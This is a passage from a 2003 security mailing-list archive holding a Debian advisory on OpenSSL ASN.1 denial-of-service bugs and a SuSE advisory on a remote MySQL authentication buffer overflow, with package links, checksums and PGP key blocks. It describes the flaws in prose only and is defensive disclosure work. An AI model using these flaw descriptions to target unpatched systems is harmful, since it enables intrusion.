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 DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE= =LRKC - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iQEVAwUBP3qgJHey5gA9JdPZAQEutAf+L935tRS8xmYZFFjUhQdd5MHWOGCanB4I 8WabNy77o6SbztDcskEUUr0+SKjDQjqEEndY4tKFlxCDNWItxJbEYmDtLB2x2CTE dCZSqoJVNxeySWRfYMs8fmC3nEQCgVYgIqhpFhi/VaP89d5/IvITwnDOWOMej0nF pj2emi0cOz62KKSlq64D+uDZJxtMdg0KrVAO15O5TQJvQnze2CkEuWMivvVvmDML jGlTzznhvVey0Czc9LNNK6VPD/i+6zHCM/+XU/1b3Gl4gRAzLjebBsHzjW45bVAu Ed+Z0EPVi/ArzfFJ0P7CcZgnYuTOoqMAJMWagW5O+4pnUpny2aFS/w== =Gv9P -----END PGP SIGNATURE----- From debian-security-announce at lists.debian.org Wed Oct 1 11:43:17 2003 From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org) Date: Wed, 01 Oct 2003 12:43:17 +0200 Subject: [Full-Disclosure] [SECURITY] [DSA-393-1] New OpenSSL packages correct denial of service issues Message-ID: -----BEGIN PGP SIGNED MESSAGE----- - -------------------------------------------------------------------------- Debian Security Advisory DSA 393-1 security at debian.org http://www.debian.org/security/ Michael Stone October 1, 2003 http://www.debian.org/security/faq - -------------------------------------------------------------------------- Package : openssl Vulnerability : denial of service Problem-Type : remote Debian-specific: no CVE Ids : CAN-2003-0543 CAN-2003-0544 Dr. Stephen Henson (steve at openssl.org), using a test suite provided by NISCC (www.niscc.gov.uk), discovered a number of errors in the OpenSSL ASN1 code. Combined with an error that causes the OpenSSL code to parse client certificates even when it should not, these errors can cause a denial of service (DoS) condition on a system using the OpenSSL code, depending on how that code is used. For example, even though apache-ssl and ssh link to OpenSSL libraries, they should not be affected by this vulnerability. However, other SSL-enabled applications may be vulnerable and an OpenSSL upgrade is recommended. For the current stable distribution (woody) these problems have been fixed in version 0.9.6c-2.woody.4 For the unstable distribution (sid) these problems have been fixed in version 0.9.7c-1 We recommend that you update your openssl package. Note that you will need to restart services which use the libssl library for this update to take effect. Upgrade Instructions - -------------------- wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.0 alias woody - -------------------------------- Source archives: http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4.dsc Size/MD5 checksum: 675 76da6f792eccfa0e219a0bb42296546f http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c.orig.tar.gz Size/MD5 checksum: 2153980 c8261d93317635d56df55650c6aeb3dc http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4.diff.gz Size/MD5 checksum: 44514 c07ae1f584c7a8bc4d0a821b8e6801ab Architecture independent packages: http://security.debian.org/pool/updates/main/o/openssl/ssleay_0.9.6c-2.woody.4_all.deb Size/MD5 checksum: 970 734c96f61a7d7032584ce001811d99ce Alpha architecture: http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_alpha.deb Size/MD5 checksum: 1551438 add644f20298bb07dd2368f6139e03bd http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_alpha.deb Size/MD5 checksum: 571194 17117f28911fee940def4cc5a5168ebf http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_alpha.deb Size/MD5 checksum: 736296 f571a65a29ea963e9f82b4a70cc61bbc ARM architecture: http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_arm.deb Size/MD5 checksum: 474030 c34ae889a0b0b05d16ab071069886ee8 http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_arm.deb Size/MD5 checksum: 1357972 7b5efab549fcace562b1df40f58eb434 http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_arm.deb Size/MD5 checksum: 729736 bea9047ba98358b5d843ec5502c08d14 HP Precision architecture: http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_hppa.deb Size/MD5 checksum: 1435088 64ec697612a1a8bb7ec02a8dfe0f082a http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_hppa.deb Size/MD5 checksum: 564870 7c9f44efb6fbf092a4c6285438f4218f http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_hppa.deb Size/MD5 checksum: 741856 c593ae8279de436da67de14a147b991c Intel IA-32 architecture: http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_i386.deb Size/MD5 checksum: 461714 9c291cab723133eb1c7c2309540dd9e2 http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_i386.deb Size/MD5 checksum: 721748 654531d126d43611b236964e691b67e2 http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_i386.deb Size/MD5 checksum: 1289866 0b05581c2d1c03f72644737aa7c37fe9 Intel IA-64 architecture: http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_ia64.deb Size/MD5 checksum: 763482 0292998feaac6ea041d2d044305b7715 http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_ia64.deb Size/MD5 checksum: 711022 dbfc0819492111ff1b8040c4dc615d03 http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_ia64.deb Size/MD5 checksum: 1615238 74a9e23d5f17d9a4f40120d1103bfeb2 Motorola 680x0 architecture: http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_m68k.deb Size/MD5 checksum: 720358 293043604c8e259a058f5e1d5925a96e http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_m68k.deb Size/MD5 checksum: 450572 5ebfb9bc4f0da2986373032213e22f3d http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_m68k.deb Size/MD5 checksum: 1266566 5d8c56beaaa413dd72d3cf90b5b30349 Big endian MIPS architecture: http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_mips.deb Size/MD5 checksum: 717764 d7019cf6cf0d6618f8789c8290697367 http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_mips.deb Size/MD5 checksum: 1416184 09aa020367ef0d06e3e22e550ea12102 http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_mips.deb Size/MD5 checksum: 483650 3008bbee5c4f7f5faf344317c59e0d82 Little endian MIPS architecture: http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_mipsel.deb Size/MD5 checksum: 717060 3180c04a1cb7dd325b06496ca2bff71b http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_mipsel.deb Size/MD5 checksum: 1410226 35cc9bc327c59471f5a909878efdbb76 http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_mipsel.deb Size/MD5 checksum: 476638 bb83a9bfc07679fbe21aab5abd56256f PowerPC architecture: http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_powerpc.deb Size/MD5 checksum: 1386776 f379528eae7a157bd830ea43a371efe4 http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_powerpc.deb Size/MD5 checksum: 726638 45d8adac74a907263e7507f64fd3c3e3 http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_powerpc.deb Size/MD5 checksum: 502422 a386a0fdd637da29848219a1ca16eae1 IBM S/390 architecture: http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_s390.deb Size/MD5 checksum: 510438 4044c7c34e45d3b9b7f3ef69eacae491 http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_s390.deb Size/MD5 checksum: 731592 79fe91bb12f87b2dc05a4dff2aba1a10 http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_s390.deb Size/MD5 checksum: 1326384 0352ce5cd87305074b2fdc91e78badca Sun Sparc architecture: http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_sparc.deb Size/MD5 checksum: 484720 99bace5e1758b19404ef0ab618f37048 http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_sparc.deb Size/MD5 checksum: 1344194 2290093fa5e49278491fdbe03f14ab1a http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_sparc.deb Size/MD5 checksum: 737150 28a4ebcf466e4c4d8aaa0afe974e9893 These files will probably be moved into the stable distribution on its next revision. - --------------------------------------------------------------------------------- For apt-get: deb http://security.debian.org/ stable/updates main For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main Mailing list: debian-security-announce at lists.debian.org Package info: `apt-cache show ' and http://packages.debian.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUBP3qviw0hVr09l8FJAQHfbQP+KCrmd5ZZewgLvbmMrQ70agmPhzIzNQ+E NUHr+41wi0atXpBfpflopYrptgycN4gtPHfRjJRE1KAwjr2DkuXX0jzcv/oqOs4m eJlTnIDG+sI7HfeX8H+rpKWz5SnS+Zjc8xZFrqkiGw8Fsbnw/hX3aFrEki1xISPc 5VKxp7qbGPc= =iKdy -----END PGP SIGNATURE----- From krahmer at suse.de Wed Oct 1 12:53:29 2003 From: krahmer at suse.de (Sebastian Krahmer) Date: Wed, 1 Oct 2003 13:53:29 +0200 (CEST) Subject: [Full-Disclosure] SuSE Security Announcement: mysql (SuSE-SA:2003:042) Message-ID: <20031001115329.EBF7C14961@wotan.suse.de> -----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: mysql Announcement-ID: SuSE-SA:2003:042 Date: Wed Oct 1 12:12:38 CEST 2003 Affected products: 7.2, 7.3, 8.0, 8.1, 8.2 SuSE Linux Connectivity Server SuSE Linux Enterprise Server 7, 8 SuSE Linux Office Server UnitedLinux 1.0 Vulnerability Type: remote code execution Severity (1-10): 5 SuSE default package: no Cross References: - Content of this advisory: 1) security vulnerability resolved: Buffer overflow in mysql. problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds: - OpenSSL 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information A remotely exploitable buffer overflow within the authentication code of MySQL has been reported. This allows remote attackers who have access to the 'User' table to execute arbitrary commands as mysql user. The list of affected packages is as follows: mysql, mysql-client, mysql-shared, mysql-bench, mysql-devel, mysql-Max. In this advisory the MD5 sums for the mysql, mysql-shared and mysql-devel packages are listed. To be sure the update takes effect you have to restart the MySQL server by executing the following command as root: /usr/sbin/rcmysql restart Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Fhv file.rpm" to apply the update. Our maintenance customers are being notified individually. The packages are being offered to install from the maintenance web. i386 Intel Platform: SuSE-8.2: ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/mysql-3.23.55-22.i586.rpm 41e8d3781aeedd2e48837293d261f9e2 ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/mysql-shared-3.23.55-22.i586.rpm b75bdea7f484305c62415cd7412151af ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/mysql-devel-3.23.55-22.i586.rpm 264920dc6e1def4e26253cc3d82f2fc7 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/mysql-3.23.55-22.i586.patch.rpm 82bac86826eb08ccf8c3204a792e0df1 ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/mysql-shared-3.23.55-22.i586.patch.rpm ea14dd33b2e390009513209e71229cd3 ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/mysql-devel-3.23.55-22.i586.patch.rpm b8e64deab45bdd05657a5447b4e279eb source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/mysql-3.23.55-22.src.rpm fd33faf5fe7efc9f9c5871db37ea88b4 SuSE-8.1: ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/mysql-3.23.52-106.i586.rpm e7488a05d07282bbd8317f834c24f0d4 ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/mysql-shared-3.23.52-106.i586.rpm e6db8d49932368487a334d803572ed4e ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/mysql-devel-3.23.52-106.i586.rpm 9c6c4ab2b8a461ca391a2453d05d9b71 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/mysql-3.23.52-106.i586.patch.rpm 37960d363c09a1123c25b11d6a753968 ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/mysql-shared-3.23.52-106.i586.patch.rpm 77d66503d21447bd1dd8339463c7b25b ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/mysql-devel-3.23.52-106.i586.patch.rpm c747e07c307e9619cf04a3e2c8cc369f source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/mysql-3.23.52-106.src.rpm 952c96bc22740b252e151c27537e5c1b SuSE-8.0: ftp://ftp.suse.com/pub/suse/i386/update/8.0/ap2/mysql-3.23.48-81.i386.rpm 7126396c99deb931dda869fdc8e5e6ef ftp://ftp.suse.com/pub/suse/i386/update/8.0/ap2/mysql-shared-3.23.48-81.i386.rpm 6cfa50d58f7b23201f2056d6097c4161 ftp://ftp.suse.com/pub/suse/i386/update/8.0/ap3/mysql-devel-3.23.48-81.i386.rpm 23d978a491c8a0a0035142276ae9c806 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/ap2/mysql-3.23.48-81.i386.patch.rpm 49833c754e880fba15e579ad32d6861c ftp://ftp.suse.com/pub/suse/i386/update/8.0/ap2/mysql-shared-3.23.48-81.i386.patch.rpm 3eba782210bf2e3a714616571bea0066 ftp://ftp.suse.com/pub/suse/i386/update/8.0/ap3/mysql-devel-3.23.48-81.i386.patch.rpm 9d6d58e8da20ea06bfd3207c44925190 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/mysql-3.23.48-81.src.rpm bc8db10701bdaee4da9776a6dc49fc29 SuSE-7.3: ftp://ftp.suse.com/pub/suse/i386/update/7.3/ap3/mysql-3.23.44-28.i386.rpm f3171ff82e6d3fbf9913cfb58d984602 ftp://ftp.suse.com/pub/suse/i386/update/7.3/ap2/mysql-shared-3.23.44-28.i386.rpm db2fe45728f6073f15c6440538926828 ftp://ftp.suse.com/pub/suse/i386/update/7.3/ap3/mysql-devel-3.23.44-28.i386.rpm 278a0338ed3a6ae65c7328f422f7abfc source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/mysql-3.23.44-28.src.rpm c1076bca4b5a7d750f72811c097e92fa SuSE-7.2: ftp://ftp.suse.com/pub/suse/i386/update/7.2/ap3/mysql-3.23.37-62.i386.rpm 2b5af68cb036119322a8a666fa68046b ftp://ftp.suse.com/pub/suse/i386/update/7.2/ap2/mysql-shared-3.23.37-62.i386.rpm d1f95967eb77ff7b8761ec27795cb740 ftp://ftp.suse.com/pub/suse/i386/update/7.2/ap3/mysql-devel-3.23.37-62.i386.rpm e8cd7dda9473259239458b5e008c6924 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/mysql-3.23.37-62.src.rpm e3c0693bda7d898ffc5bfb8f23478e7e Sparc Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/sparc/update/7.3/ap3/mysql-3.23.44-24.sparc.rpm 52a66dfd5f2f330240dab5e59c412ef7 ftp://ftp.suse.com/pub/suse/sparc/update/7.3/ap2/mysql-shared-3.23.44-24.sparc.rpm 6060be5ff51994e0ab73e8afc7ba2f26 ftp://ftp.suse.com/pub/suse/sparc/update/7.3/ap3/mysql-devel-3.23.44-24.sparc.rpm 802c951032a42b1b21f51ab53af502c9 source rpm(s): ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/mysql-3.23.44-24.src.rpm 350c8fcc5522c08ca9096803cc34dd42 PPC Power PC Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/ppc/update/7.3/ap3/mysql-3.23.44-32.ppc.rpm 4dfbca3cbc9e9a3f8f36ab19a7bb4093 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/ap2/mysql-shared-3.23.44-32.ppc.rpm 068cbab05a37e74b9f57abcae7eb6b64 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/ap3/mysql-devel-3.23.44-32.ppc.rpm c897ad4fa5a724c11efabbecfdd929c4 source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/mysql-3.23.44-32.src.rpm aa219acd13b73c45e2b418e8df03a1ee ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - OpenSSL Critical bugs within the ASN.1 parsing routines have been reported recently. We are currently building new packages and will notify you in a separate advisory when the packages are available. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security at suse.de), the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig to verify the signature of the package, where is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an un-installed rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build at suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the top-level directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party may subscribe: suse-security at suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to . suse-security-announce at suse.com - SuSE's announce-only mailing list. Only SuSE's security announcements are sent to this list. To subscribe, send an email to . For general information or the frequently asked questions (faq) send mail to: or respectively. ===================================================================== SuSE's security contact is or . The public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the clear-text signature shows proof of the authenticity of the text. SuSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org mQGiBDnu9IERBACT8Y35+2vv4MGVKiLEMOl9GdST6MCkYS3yEKeueNWc+z/0Kvff 4JctBsgs47tjmiI9sl0eHjm3gTR8rItXMN6sJEUHWzDP+Y0PFPboMvKx0FXl/A0d M+HFrruCgBlWt6FA+okRySQiliuI5phwqkXefl9AhkwR8xocQSVCFxcwvwCglVcO QliHu8jwRQHxlRE0tkwQQI0D+wfQwKdvhDplxHJ5nf7U8c/yE/vdvpN6lF0tmFrK XBUX+K7u4ifrZlQvj/81M4INjtXreqDiJtr99Rs6xa0ScZqITuZC4CWxJa9GynBE D3+D2t1V/f8l0smsuYoFOF7Ib49IkTdbtwAThlZp8bEhELBeGaPdNCcmfZ66rKUd G5sRA/9ovnc1krSQF2+sqB9/o7w5/q2qiyzwOSTnkjtBUVKn4zLUOf6aeBAoV6NM CC3Kj9aZHfA+ND0ehPaVGJgjaVNFhPi4x0e7BULdvgOoAqajLfvkURHAeSsxXIoE myW/xC1sBbDkDUIBSx5oej73XCZgnj/inphRqGpsb+1nKFvF+rQoU3VTRSBQYWNr YWdlIFNpZ25pbmcgS2V5IDxidWlsZEBzdXNlLmRlPohcBBMRAgAcBQI57vSBBQkD wmcABAsKAwQDFQMCAxYCAQIXgAAKCRCoTtronIAKyl8sAJ98BgD40zw0GHJHIf6d NfnwI2PAsgCgjH1+PnYEl7TFjtZsqhezX7vZvYCIRgQQEQIABgUCOnBeUgAKCRCe QOMQAAqrpNzOAKCL512FZvv4VZx94TpbA9lxyoAejACeOO1HIbActAevk5MUBhNe LZa/qM2JARUDBRA6cGBvd7LmAD0l09kBATWnB/9An5vfiUUE1VQnt+T/EYklES3t XXaJJp9pHMa4fzFa8jPVtv5UBHGee3XoUNDVwM2OgSEISZxbzdXGnqIlcT08TzBU D9i579uifklLsnr35SJDZ6ram51/CWOnnaVhUzneOA9gTPSr+/fT3WeVnwJiQCQ3 0kNLWVXWATMnsnT486eAOlT6UNBPYQLpUprF5Yryk23pQUPAgJENDEqeU6iIO9Ot 1ZPtB0lniw+/xCi13D360o1tZDYOp0hHHJN3D3EN8C1yPqZd5CvvznYvB6bWBIpW cRgdn2DUVMmpU661jwqGlRz1F84JG/xe4jGuzgpJt9IXSzyohEJB6XG5+D0BiF0E ExECAB0FAjxqqTQFCQoAgrMFCwcKAwQDFQMCAxYCAQIXgAAKCRCoTtronIAKyp1f AJ9dR7saz2KPNwD3U+fy/0BDKXrYGACfbJ8fQcJqCBQxeHvt9yMPDVq0B0W5Ag0E Oe70khAIAISR0E3ozF/la+oNaRwxHLrCet30NgnxRROYhPaJB/Tu1FQokn2/Qld/ HZnh3TwhBIw1FqrhWBJ7491iAjLR9uPbdWJrn+A7t8kSkPaF3Z/6kyc5a8fas44h t5h+6HMBzoFCMAq2aBHQRFRNp9Mz1ZvoXXcI1lk1l8OqcUM/ovXbDfPcXsUVeTPT tGzcAi2jVl9hl3iwJKkyv/RLmcusdsi8YunbvWGFAF5GaagYQo7YlF6UaBQnYJTM 523AMgpPQtsKm9o/w9WdgXkgWhgkhZEeqUS3m5xNey1nLu9iMvq9M/iXnGz4sg6Q 2Y+GqZ+yAvNWjRRou3zSE7Bzg28MI4sAAwYH/2D71Xc5HPDgu87WnBFgmp8MpSr8 QnSs0wwPg3xEullGEocolSb2c0ctuSyeVnCttJMzkukL9TqyF4s/6XRstWirSWaw 